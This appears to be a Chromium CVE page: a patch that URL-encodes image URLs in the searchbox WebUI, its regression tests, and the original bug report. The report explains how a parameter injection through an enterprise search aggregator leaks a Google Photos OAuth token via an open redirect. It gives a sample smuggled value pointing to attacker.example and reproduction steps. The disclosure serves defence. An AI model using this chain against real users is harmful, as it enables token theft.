CVE-2026-13893
Overview
Files Changed
chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.tschrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.tsui/webui/resources/cr_components/searchbox/searchbox_icon.ts
Patch
From 66edeb8a0fdc6559bdf7d2f5310ac8c34f857295 Mon Sep 17 00:00:00 2001 From: Andrew Paseltiner <[email protected]> Date: Wed, 06 May 2026 18:47:13 -0700 Subject: [PATCH] searchbox: Encode image and icon URLs to prevent parameter injection The computeSrc_ function in searchbox_icon.ts used string interpolation to construct chrome://image URLs without encoding the url parameter. This allowed an attacker who controls search suggestions to inject parameters like &isGooglePhotos=true, which could lead to OAuth token leakage in the browser process. This CL adds a call to encodeURIComponent() to prevent such injections and includes a WebUI test to verify correct encoding. Fixed: 501729582 Change-Id: I8cf5893ed1c424201501c0e4417cbdb43e237b03 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7818475 Commit-Queue: Andrew Paseltiner <[email protected]> Reviewed-by: Riley Tatum <[email protected]> Cr-Commit-Position: refs/heads/main@{#1626658} --- diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts index 42507a8..137f4276 100644 --- a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts +++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts @@ -65,6 +65,29 @@ assertTrue(isVisible(image)); }); + test('image and icon URLs are encoded', async () => { + // Regression test for crbug.com/501729582. + const match = createAutocompleteMatch(); + const unsafeUrl = 'https://example.com/image.png?a=b&c=d'; + match.imageUrl = unsafeUrl; + match.iconUrl = unsafeUrl; + icon.match = match; + + await microtasksFinished(); + + const image = icon.$.image; + assertTrue(!!image); + assertEquals( + image.getAttribute('src'), + '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd'); + + const iconImg = icon.$.iconImg; + assertTrue(!!iconImg); + assertEquals( + iconImg.getAttribute('src'), + '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd'); + }); + test('entity image hidden on error', async () => { const match = createAutocompleteMatch(); match.imageUrl = '#'; diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts index a4622b0..6ac2151 100644 --- a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts +++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts @@ -2044,7 +2044,7 @@ assertEquals( matchEls[1]!.$.icon.$.image.getAttribute('src'), `//image?staticEncode=true&encodeType=webp&url=${ - matches[1]!.imageUrl}`); + encodeURIComponent(matches[1]!.imageUrl)}`); // Mock image finishing loading, which should remove the temporary // background color. @@ -2168,12 +2168,12 @@ assertIconState( matchEls[0], /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[0]!.iconUrl}`); + encodeURIComponent(matches[0]!.iconUrl)}`); // Test initial icon state for the second match: icon image not used. assertIconState( matchEls[1], /*hasEntityImage=*/ true, /*expectUseIconImg=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[1]!.iconUrl}`); + encodeURIComponent(matches[1]!.iconUrl)}`); // Select the first match. let arrowDownEvent = arrowDown(realbox); @@ -2189,18 +2189,18 @@ assertIconState( realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[0]!.iconUrl}`); + encodeURIComponent(matches[0]!.iconUrl)}`); // Mock icon image finishing loading for the first match and the realbox // itself. The icon image should be used icon. await assertAndLoadIcon( matchEls[0], /*hasEntityImage=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[0]!.iconUrl}`); + encodeURIComponent(matches[0]!.iconUrl)}`); await assertAndLoadIcon( realbox, /*hasEntityImage=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[0]!.iconUrl}`); + encodeURIComponent(matches[0]!.iconUrl)}`); // Select the second match. arrowDownEvent = arrowDown(realbox); @@ -2215,17 +2215,17 @@ assertIconState( realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[1]!.iconUrl}`); + encodeURIComponent(matches[1]!.iconUrl)}`); // Mock icon image finishing loading for the second match and the // realbox itself. The icon image should be used. await assertAndLoadIcon( matchEls[1], /*hasEntityImage=*/ true, `//image?staticEncode=true&encodeType=webp&url=${ - matches[1]!.iconUrl}`); + encodeURIComponent(matches[1]!.iconUrl)}`); await assertAndLoadIcon( realbox, /*hasEntityImage=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[1]!.iconUrl}`); + encodeURIComponent(matches[1]!.iconUrl)}`); // Select the first match by pressing 'Escape'. const escapeEvent = new KeyboardEvent('keydown', { @@ -2247,13 +2247,13 @@ assertIconState( realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[0]!.iconUrl}`); + encodeURIComponent(matches[0]!.iconUrl)}`); // Mock icon image finishing loading for the realbox (now showing the // first match's icon image again). await assertAndLoadIcon( realbox, /*hasEntityImage=*/ false, `//image?staticEncode=true&encodeType=webp&url=${ - matches[0]!.iconUrl}`); + encodeURIComponent(matches[0]!.iconUrl)}`); }); diff --git a/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts b/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts index 22258ff..d173772 100644 --- a/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts +++ b/ui/webui/resources/cr_components/searchbox/searchbox_icon.ts @@ -469,7 +469,8 @@ return url; } - return `//image?staticEncode=true&encodeType=webp&url=${url}`; + return `//image?staticEncode=true&encodeType=webp&url=${ + encodeURIComponent(url)}`; } private computeIconSrc_(): string {
Regression Test / PoC
diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
index 42507a8..137f4276 100644
--- a/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
+++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_icon_test.ts
@@ -65,6 +65,29 @@
assertTrue(isVisible(image));
});
+ test('image and icon URLs are encoded', async () => {
+ // Regression test for crbug.com/501729582.
+ const match = createAutocompleteMatch();
+ const unsafeUrl = 'https://example.com/image.png?a=b&c=d';
+ match.imageUrl = unsafeUrl;
+ match.iconUrl = unsafeUrl;
+ icon.match = match;
+
+ await microtasksFinished();
+
+ const image = icon.$.image;
+ assertTrue(!!image);
+ assertEquals(
+ image.getAttribute('src'),
+ '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd');
+
+ const iconImg = icon.$.iconImg;
+ assertTrue(!!iconImg);
+ assertEquals(
+ iconImg.getAttribute('src'),
+ '//image?staticEncode=true&encodeType=webp&url=https%3A%2F%2Fexample.com%2Fimage.png%3Fa%3Db%26c%3Dd');
+ });
+
test('entity image hidden on error', async () => {
const match = createAutocompleteMatch();
match.imageUrl = '#';
diff --git a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
index a4622b0..6ac2151 100644
--- a/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
+++ b/chrome/test/data/webui/cr_components/searchbox/searchbox_ntp_test.ts
@@ -2044,7 +2044,7 @@
assertEquals(
matchEls[1]!.$.icon.$.image.getAttribute('src'),
`//image?staticEncode=true&encodeType=webp&url=${
- matches[1]!.imageUrl}`);
+ encodeURIComponent(matches[1]!.imageUrl)}`);
// Mock image finishing loading, which should remove the temporary
// background color.
@@ -2168,12 +2168,12 @@
assertIconState(
matchEls[0], /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[0]!.iconUrl}`);
+ encodeURIComponent(matches[0]!.iconUrl)}`);
// Test initial icon state for the second match: icon image not used.
assertIconState(
matchEls[1], /*hasEntityImage=*/ true, /*expectUseIconImg=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[1]!.iconUrl}`);
+ encodeURIComponent(matches[1]!.iconUrl)}`);
// Select the first match.
let arrowDownEvent = arrowDown(realbox);
@@ -2189,18 +2189,18 @@
assertIconState(
realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[0]!.iconUrl}`);
+ encodeURIComponent(matches[0]!.iconUrl)}`);
// Mock icon image finishing loading for the first match and the realbox
// itself. The icon image should be used icon.
await assertAndLoadIcon(
matchEls[0], /*hasEntityImage=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[0]!.iconUrl}`);
+ encodeURIComponent(matches[0]!.iconUrl)}`);
await assertAndLoadIcon(
realbox, /*hasEntityImage=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[0]!.iconUrl}`);
+ encodeURIComponent(matches[0]!.iconUrl)}`);
// Select the second match.
arrowDownEvent = arrowDown(realbox);
@@ -2215,17 +2215,17 @@
assertIconState(
realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[1]!.iconUrl}`);
+ encodeURIComponent(matches[1]!.iconUrl)}`);
// Mock icon image finishing loading for the second match and the
// realbox itself. The icon image should be used.
await assertAndLoadIcon(
matchEls[1], /*hasEntityImage=*/ true,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[1]!.iconUrl}`);
+ encodeURIComponent(matches[1]!.iconUrl)}`);
await assertAndLoadIcon(
realbox, /*hasEntityImage=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[1]!.iconUrl}`);
+ encodeURIComponent(matches[1]!.iconUrl)}`);
// Select the first match by pressing 'Escape'.
const escapeEvent = new KeyboardEvent('keydown', {
@@ -2247,13 +2247,13 @@
assertIconState(
realbox, /*hasEntityImage=*/ false, /*expectUseIconImg=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[0]!.iconUrl}`);
+ encodeURIComponent(matches[0]!.iconUrl)}`);
// Mock icon image finishing loading for the realbox (now showing the
// first match's icon image again).
await assertAndLoadIcon(
realbox, /*hasEntityImage=*/ false,
`//image?staticEncode=true&encodeType=webp&url=${
- matches[0]!.iconUrl}`);
+ encodeURIComponent(matches[0]!.iconUrl)}`);
});
Original Bug Report
Potential OAuth token leak via query parameter injection in searchbox_icon.ts
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: A query parameter injection vulnerability in searchbox_icon.ts allows an attacker-controlled enterprise search aggregator to inject parameters into a chrome://image request. By injecting &isGooglePhotos=true alongside a Google-hosted open redirect, the browser process mints a Google Photos OAuth token and leaks it to the attacker during the cross-origin redirect.
Affected files:
ui/webui/resources/cr_components/searchbox/searchbox_icon.tschrome/browser/ui/webui/sanitized_image/sanitized_image_source.cccomponents/omnibox/browser/enterprise_search_aggregator_provider.cc
Estimated timestamp from git blame: 2025-06-05
Summary
A potential vulnerability exists in the NTP Realbox and Omnibox UI (searchbox_icon.ts) where image URLs are not properly encoded before being interpolated into a chrome://image query string. This allows an attacker who can control search suggestions (e.g., via a malicious or compromised enterprise search aggregator) to inject the isGooglePhotos=true parameter.
When this request is handled by SanitizedImageSource in the browser process, it mints a photos.image.readonly OAuth token. If the injected URL points to an open redirect on a Google domain, the browser’s SimpleURLLoader follows the redirect to an attacker-controlled origin without stripping the Authorization header, leaking the token.
Technical Details
1. Parameter Injection in WebUI
In ui/webui/resources/cr_components/searchbox/searchbox_icon.ts, the computeSrc_ function constructs the URL for the chrome://image data source using string interpolation:
private computeSrc_(url: string|undefined): string {
// ...
return `//image?staticEncode=true&encodeType=webp&url=${url}`;
}
The url variable is not encoded using encodeURIComponent. For enterprise search results, this value originates from the un-sanitized iconUri field of the search aggregator’s JSON response (parsed in components/omnibox/browser/enterprise_search_aggregator_provider.cc). An attacker can supply a value like https://accounts.google.com/amp/rebrand?url=https://attacker.example/log&isGooglePhotos=true.
2. Token Attachment in the Browser Process
When the WebUI sets this string as an <img> src, it triggers a request to chrome://image. SanitizedImageSource::StartDataRequest handles this and uses url::ExtractQueryKeyValue to parse the parameters. Because the injected & was unencoded, it successfully parses url as the Google open redirect URL and isGooglePhotos as true.
The code validates the target URL using IsGooglePhotosUrl(image_url), which simply checks if the host ends with a Google domain (e.g., .google.com). Because the target is accounts.google.com, the check passes, and SanitizedImageSource uses signin::PrimaryAccountAccessTokenFetcher to mint a user-scoped OAuth token for https://www.googleapis.com/auth/photos.image.readonly.
3. Token Leakage via Cross-Origin Redirect
The request is executed using a fully privileged network::SimpleURLLoader in the browser process (GetURLLoaderFactoryForBrowserProcess()). The minted token is attached as an Authorization: Bearer header.
When the Google server responds with an HTTP 302 redirect to https://attacker.example/log, the network service processes the redirect. By default, the network service’s RedirectUtil::UpdateHttpRequest does not strip the Authorization header across cross-origin redirects. Because the SimpleURLLoader instance was not explicitly configured with an OnRedirectCallback to remove this header, the token is sent to the attacker’s origin.
Suggested Reproduction Steps
Note: Our tooling agent does not have the ability to run code; these are suggested steps based on codebase analysis.
- Configure a managed Chrome profile to use an attacker-controlled backend via the
EnterpriseSearchAggregatorSettingspolicy. - Ensure the user is signed into Chrome with their Google account.
- The attacker backend responds to a search query with a
CONTENTsuggestion whereiconUriis set to an open redirect with an injected parameter, e.g.:https://accounts.google.com/interactive_login?continue=https://attacker.example/log&isGooglePhotos=true. - The victim interacts with the NTP or Omnibox, triggering the suggestion.
- The WebUI constructs the injected URL, and the browser process mints the OAuth token.
- The browser initiates the fetch to the Google open redirect, which redirects to
attacker.example. - The attacker’s server logs the
Authorization: Bearerheader containing the leaked token, granting read access to the victim’s Google Photos.
Suggested Fix
- WebUI Encoding: In
ui/webui/resources/cr_components/searchbox/searchbox_icon.ts, useencodeURIComponent(url)inside the template literal incomputeSrc_to prevent parameter injection. - Defense-in-Depth (Loader): Consider configuring the
SimpleURLLoaderinSanitizedImageSource::StartImageDownloadto explicitly strip thenet::HttpRequestHeaders::kAuthorizationheader on cross-origin redirects by utilizing anOnRedirectCallback.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.